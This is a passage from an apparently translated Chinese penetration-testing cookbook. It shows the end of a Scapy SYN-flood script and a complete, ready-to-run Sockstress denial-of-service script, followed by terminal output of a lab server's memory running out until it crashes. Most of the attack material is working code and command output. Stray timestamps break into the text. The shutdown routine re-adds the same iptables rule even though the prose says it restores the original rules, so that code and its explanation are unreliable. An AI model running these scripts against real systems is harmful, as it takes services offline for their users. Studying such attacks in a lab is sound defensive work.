send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
for x in range(0,threads):
thread.start_new_thread(synflood, (target,port))
while 0 == 0:
sleep(1)
```
2016-11-24 14:43:36 +08:00
脚本在执行时接受三个参数。 这些参数包括目标 IP 地址SYN 泛洪所发送到的端口号,以及将用于执行 SYN 泛洪的线程或并发进程的数量。 每个线程以生成 0 到 65,535 之间的整数值开始。 此范围表示可分配给源端口的全部可能值。 定义源和目标端口地址的 TCP 报头的部分在长度上都是 16 比特。 每个位可以为 1 或 0。因此有`2 ** 16`或 65,536 个可能的 TCP 端 口地址。 单个源端口只能维持一个半开连接,因此通过为每个 SYN 请求生成唯一的源端口地址,我们可以大大提高攻击的性能:
2016-11-24 14:19:34 +08:00
```
root@KaliLinux:~# ./syn_flood.py U
sage - ./syn_flood.py [Target-IP] [Port Number] [Threads]
Example - ./sock_stress.py 10.0.0.5 80 20
Example will perform a 20x multi-threaded SYN flood attack against the HTTP (port 80) service on 10.0.0.5
root@KaliLinux:~# ./syn_flood.py 172.16.36.135 80 20
Performing SYN flood. Use Ctrl+C to stop attack.
```
当在没有任何参数的情况下执行脚本时,会将使用方法返回给用户。在提供的示例中,脚本对托管在`172.16.36.135`的 TCP 端口 80 上的 HTTP Web 服务执行,具有 20 个并发线程 。脚本本身提供的反馈很少; 但是,可以运行流量捕获工具(如 Wireshark 或 TCPdump来验证是否正在发送连接。在非常短暂的时间之后与服务器的连接尝试会变得非常慢或完全无响应。
### 工作原理
TCP 服务只允许建立有限数量的半开连接。 通过快速发送大量的 TCP SYN 请求,这些可用的连接会被耗尽,并且服务器将不再能够接受新的传入连接。 因此,新用户将无法访问该服务。 通过将其用作 DDoS 并且使多个攻击系统同时执行脚本,该攻击的效率可以进一步加强。
2016-11-24 14:43:36 +08:00
## 6.8 Sockstress DoS 攻击
Sockstress DoS 攻击涉及到与目标服务相关的 TCP 端口建立一系列开放连接。 TCP 握手中的最终 ACK 响应的值应为 0。
### 准备
为了使用 Scapy 对目标执行Sockstress DoS 攻击,你需要有一个运行 TCP 网络服务的远程系统。 提供的示例使用 Metasploitable2 的实例用。 有关设置 Metasploitable2 的更多信息,请参阅本书第一章中的“安装 Metasploitable2”秘籍。 此外,本节需要使用文本编辑器(如 VIM 或 Nano将脚本写入文件系统。 有关编写脚本的更多信息请参阅本书第一章中的“使用文本编辑器VIM 和 Nano”秘籍。
### 操作步骤
以下脚本使用 Scapy 编写,用于对目标系统执行 Sockstress DoS 攻击。 以下脚本可用于测试漏洞服务:
```py
#!/usr/bin/python
from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
print "Usage - ./sock_stress.py [Target-IP] [Port Number] [Threads]"
print "Example - ./sock_stress.py 10.0.0.5 21 20"
print "Example will perform a 20x multi-threaded sock-stress DoS attack "
print "against the FTP (port 21) service on 10.0.0.5"
print "\n***NOTE***"
print "Make sure you target a port that responds when a connection is made"
sys.exit()
target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])
## This is where the magic happens
def sockstress(target,dstport): while 0 == 0:
try:
x = random.randint(0,65535)
response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags ='S'),timeout=1,verbose=0)
send(IP(dst=target)/ TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)
except:
pass
## Graceful shutdown allows IP Table Repair
def graceful_shutdown(signal, frame):
print '\nYou pressed Ctrl+C!'
print 'Fixing IP Tables'
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
sys.exit()
## Creates IPTables Rule to Prevent Outbound RST Packet to Allow Scapy TCP Connections
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
signal.signal(signal.SIGINT, graceful_shutdown)
## Spin up multiple threads to launch the attack
print "\nThe onslaught has begun...use Ctrl+C to stop the attack"
for x in range(0,threads):
thread.start_new_thread(sockstress, (target,dstport))
## Make it go FOREVER (...or at least until Ctrl+C)
while 0 == 0:
sleep(1)
```
请注意,此脚本有两个主要功能,包括 sockstress 攻击功能和单独的正常关机功能。 关闭需要单独的函数,因为为了使脚本正常运行,脚本必须修改本地 iptables 规则。 此更改是必需的,以便使用 Scapy 完成与远程主机的 TCP 连接。 在第三章“端口扫描”的“使用 Scapy 配置连接扫描”中,更彻底地解决了这一问题。 在执行脚本之前,我们可以使用 netstat 和 free 工具为已建立的连接和正在使用的内存获取基线:
```
msfadmin@metasploitable:~$ netstat | grep ESTABLISHED
tcp6 0 0 172.16.36.131%13464:ssh 172.16.36.1%8191:49826 ESTABLISHED
udp 0 0 localhost:32840 localhost:32840 ESTABLISHED
msfadmin@metasploitable:~$ free -m
total used free shared buffers cached
Mem: 503 157 345 0 13 54
-/+ buffers/cache: 89 413
Swap: 0 0 0
```
通过使用 netstat然后通过管道输出到`grep`函数,并只提取已建立的连接,我们可以看到只存在两个连接。 我们还可以使用`free`工具查看当前的内存使用情况。 `-m`选项用于返回以兆字节为单位的值。 在确定已建立的连接和可用内存的基线后,我们可以对此目标服务器启动攻击:
```
root@KaliLinux:~# ./sock_stress.py
Usage - ./sock_stress.py [Target-IP] [Port Number] [Threads]
Example - ./sock_stress.py 10.0.0.5 21 20
Example will perform a 20x multi-threaded sock-stress DoS attack against the FTP (port 21) service on 10.0.0.
***NOTE***
Make sure you target a port that responds when a connection is made
root@KaliLinux:~# ./sock_stress.py 172.16.36.131 21 20
The onslaught has begun...use Ctrl+C to stop the attack
```
通过在没有任何提供的参数的情况下执行脚本,脚本将返回预期的语法和用法。脚本在执行时接受三个参数。这些参数包括目标 IP 地址sock stress DoS所发送的端口号以及将用于执行 sock stress DoS 的线程或并发进程的数量。每个线程以生成 0 到 65,535 之间的整数值开始。此范围表示可分配给源端口的全部可能值。定义源和目的地端口地址的 TCP 报头的部分在长度上都是 16 比特。每个位可以为值 1 或 0。因此有`2 ** 16`或 65,536 个可能的 TCP 端口地址。单个源端口只能维持单个连接,因此通过为每个连接生成唯一的源端口地址,我们可以大大提高攻击的效率。一旦攻击开始,我们可以通过检查在目标服务器上建立的活动连接,来验证它是否正常工作:
```
msfadmin@metasploitable:~$ netstat | grep ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:25624 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:12129 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:31294 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:46731 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:15281 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:47576 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:27472 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:11152 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:56245 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:1161 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:21064 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:29344 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:43747 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:59609 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:31927 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:12257 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:54709 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:55595 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:12992 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:24171 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:37207 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:39224 ESTABLISHED
```
在执行脚本后的几分钟,我们可以看到已建立的连接的数量急剧增加。 此处显示的输出已截断,连接列表实际上明显长于此:
```
msfadmin@metasploitable:~$ free -m
total used free shared buffers cached
Mem: 503 497 6 0 149
138 -/+ buffers/cache: 209 294
Swap: 0 0 0
```
通过连续使用`free` 工具,我们可以看到,系统的可用内存逐渐耗尽。 一旦内存空闲值下降到几乎没有,空闲缓冲区/缓存空间将开始下降:
```
msfadmin@metasploitable:~$ free -m
total used free shared buffers cached
Mem: 503 498 4 0 0
5 -/+ buffers/cache: 493 10
Swap: 0 0 0
```
在本地系统上的所有资源耗尽之后,系统最终会崩溃。 完成此过程所需的时间将取决于可用的本地资源量。 在这里提供的示例中,这是在具有 512 MB RAM 的 Metasploitable VM 上执行的,攻击花费了大约 2 分钟来耗尽所有可用的本地资源并使服务器崩溃。 服务器崩溃后,或者你希望停止 DoS 攻击时,可以按`Ctrl + C`。
```
root@KaliLinux:~# ./sock_stress.py 172.16.36.131 21 20
The onslaught has begun...use Ctrl+C to stop the attack
^C
pressed Ctrl+C!
Fixing IP Tables
```
脚本被编写来捕获由于按`Ctrl + C`而发送的终止信号,并且它将通过去除在终止脚本的执行序列之前生成的规则,来修复本地 iptables。
### 工作原理
在 sockstress DoS 中,三次握手中的最后的 ACK 封包的窗口值为 0。由于连接客户端的空窗口所示漏洞服务不会传送任何数据来响应连接。 相反,服务器会保存要在内存中传输的数据。 使用这些连接充斥服务器将耗尽服务器的资源,包括内存,交换空间和计算能力。